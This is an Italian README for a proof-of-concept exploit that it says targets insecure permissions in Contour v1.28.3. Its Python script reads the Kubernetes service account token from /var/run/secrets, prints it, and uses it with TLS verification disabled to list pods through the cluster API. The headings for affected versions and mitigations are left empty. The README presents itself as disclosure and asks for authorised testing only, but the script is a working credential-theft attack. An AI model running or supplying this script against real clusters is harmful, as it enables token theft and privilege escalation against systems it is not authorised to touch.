
Proof-of-concept exploit che dimostra permessi non sicuri in Contour v1.28.3, consentendo il furto del token dell'account di servizio e l'accesso all'API Kubernetes per l'escalation dei privilegi.
Ecco un README.md per un Proof of Concept (PoC) che dimostra la vulnerabilità di permessi non sicuri in Contour v1.28.3:
Questo repository contiene uno script Proof of Concept (PoC) che dimostra una vulnerabilità di permessi non sicuri in Contour v1.28.3. Questa vulnerabilità consente agli aggressori di accedere a dati sensibili ed escalation dei privilegi ottenendo il token dell'account di servizio.
CVE-ID: (In attesa)
Panoramica: Contour v1.28.3 contiene permessi non sicuri che consentono agli aggressori di accedere al token dell'account di servizio. Sfruttando questa vulnerabilità, un aggressore può ottenere il token dell'account di servizio, che può essere utilizzato per accedere a dati sensibili e potenzialmente escalation dei privilegi all'interno del cluster Kubernetes.
Versioni interessate:
Mitigazioni:
Questo script PoC dimostra come accedere al token dell'account di servizio in Contour v1.28.3. Assicurati di avere il permesso esplicito per eseguire questo test.
import os
import requests
# Configuration
kubernetes_api_url = "https://kubernetes.default.svc" # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token" # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace" # Path to the namespace
def get_service_account_token():
try:
# Read the service account token
with open(token_path, 'r') as token_file:
token = token_file.read().strip()
print(f"[+] Service Account Token: {token}")
return token
except Exception as e:
print(f"[-] Error reading token: {e}")
return None
def get_namespace():
try:
# Read the namespace
with open(namespace_path, 'r') as namespace_file:
namespace = namespace_file.read().strip()
print(f"[+] Namespace: {namespace}")
return namespace
except Exception as e:
print(f"[-] Error reading namespace: {e}")
return None
def access_kubernetes_api(token, namespace):
try:
# Set the headers with the token
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
# Make a request to the Kubernetes API to get pods in the namespace
response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
# Print the response details
print("Status Code:", response.status_code)
print("Response Body:", response.json())
if response.status_code == 200:
print("[+] Successfully accessed Kubernetes API.")
else:
print("[-] Failed to access Kubernetes API.")
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
# Get the service account token and namespace
token = get_service_account_token()
namespace = get_namespace()
if token and namespace:
# Access the Kubernetes API using the token
access_kubernetes_api(token, namespace)
Per affrontare questa vulnerabilità:
Per maggiori informazioni sulla sicurezza della tua distribuzione Contour, fai riferimento alla documentazione ufficiale di Contour.
Questo README.md fornisce una panoramica della vulnerabilità, uno script PoC per dimostrare il problema e istruzioni su come mitigare il rischio. Assicurati di gestire questo PoC in modo responsabile e solo su sistemi per cui hai autorizzazione esplicita.